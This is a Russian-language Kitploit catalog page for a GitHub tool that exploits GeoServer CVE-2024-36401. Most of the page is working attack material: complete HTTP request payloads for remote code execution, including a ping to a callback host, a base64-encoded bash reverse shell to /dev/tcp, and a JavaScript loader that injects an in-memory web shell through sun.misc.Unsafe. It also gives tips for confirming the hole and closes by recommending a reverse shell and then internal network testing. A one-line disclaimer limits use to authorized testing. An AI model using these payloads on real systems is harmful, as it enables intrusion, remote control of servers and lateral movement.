Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
geoserver- — Инструмент эксплуатации уязвимости geoserver CVE-2024-36401 | Kitploit
Инструменты/GitHubGitHub/ahisec/geoserver-
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubahisec/geoserver-

geoserver-

Инструмент эксплуатации уязвимости geoserver CVE-2024-36401

Репозиторий
46812 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Инструмент эксплуатации geoserver CVE-2024-36401

geoserver CVE-2024-36401 Среда: JDK8 Заявление: Только для авторизованного тестирования. Пользователь несет полную ответственность за любые последствия злоупотребления, автор не несет ответственности. Соблюдайте законы и нормативные акты!

  1. Полезная нагрузка по умолчанию:
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>

Обратите внимание на это: <wfs:Query typeNames='sf:archsites'/>

Здесь, если вам нужно использовать регулярное выражение для его получения, это sf:archsites — базовый идентификатор сайта. Сначала вам нужно получить его информацию:

<wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>, затем вы можете применить конкатенацию.

При проверке уязвимости:

<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

На самом деле здесь даже не нужно искать DNS-записи. Простая логика — проверить, присутствует ли исключение неизвестного класса, например java.lang.ClassCastException.

Конечно, это только логика проверки.

Этот ответ и так возвращает 400, здесь легко попасть в ловушку. Вам нужно проверить страницу ошибки, а затем выполнить поиск данных.

Сначала вам нужно запросить:

<wfs:ListStoredQueries service='WFS'
 version='2.0.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Эта информация позволяет получить <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>. Затем напрямую присвойте её тексту, вызовите функцию, которая извлекает данные из текста, и подставьте их в параметр <wfs:Query typeNames='sf:archsites'/>.

Это сделает логику проверки более точной. При проверке уязвимости пишите так.

Если вы постоянно используете <wfs:Query typeNames='sf:archsites'/>, то вероятность ложного срабатывания высока — будет выдаваться ошибка, что sf:archsites не найден.

Класс реверс-шелла

Посмотрим на полезную нагрузку для реверс-шелла:

POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

Обратите внимание здесь:

<wfs:Query typeNames='sf:archsites'/>

Точно так же: сначала получите значение через регулярное выражение и подставьте его.

Затем отправьте запрос.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx — это закодированная в base64 строка.

При написании просто преобразуйте введённое пользователем bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 в base64 и всё.

Затем отправьте запрос и снова найдите ключевое исключение — логика проверки.

Класс внедрения веб-шелла в память

POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

Здесь также есть <wfs:Query typeNames='sf:archsites'/> — по старой схеме сначала получите значение.

В var str="" подставьте сгенерированный закодированный в base64 код веб-шелла в памяти.

Затем проверяйте логику.

Легко допускаемые ошибки (ловушки)

  1. Повторное использование <wfs:Query typeNames='sf:archsites'/> даёт 98% ложных срабатываний. Пример ошибки:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<

Признак уязвимости:

<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>

Проще говоря, уязвимость есть — появляется java.lang.ClassCastException. Ложное срабатывание — Could not locate {http://www.openplans.org/spearfish}archsites in catalog.

  1. Способ проверки:
    • Извлеките вызываемое wfs:ReturnFeatureType>, присвойте тексту → текст вызывает функцию → отправьте запрос → подставьте в запрос → проверьте исключение в ответе.
    • При вызове функции из текста необходимо предварительно присвоить значение, чтобы избежать исключения NullPointerException. Подставьте перед запросом, проверьте исключение в ответе, анализируйте внутри исключения.

В итоге мы реализовали этот инструмент эксплуатации уязвимости.

image

Протестируем уязвимость.

Результат работы инструмента:

image

image

Подсказка: отсутствие ответа и вывод об отсутствии уязвимости — одно и то же. Если уязвимость есть, появится значок "+".

Обнаружена уязвимость — выполняем реверс-шелл, проверяем подключение. Если успешно — проводим тестирование внутренней сети.

Скачать инструмент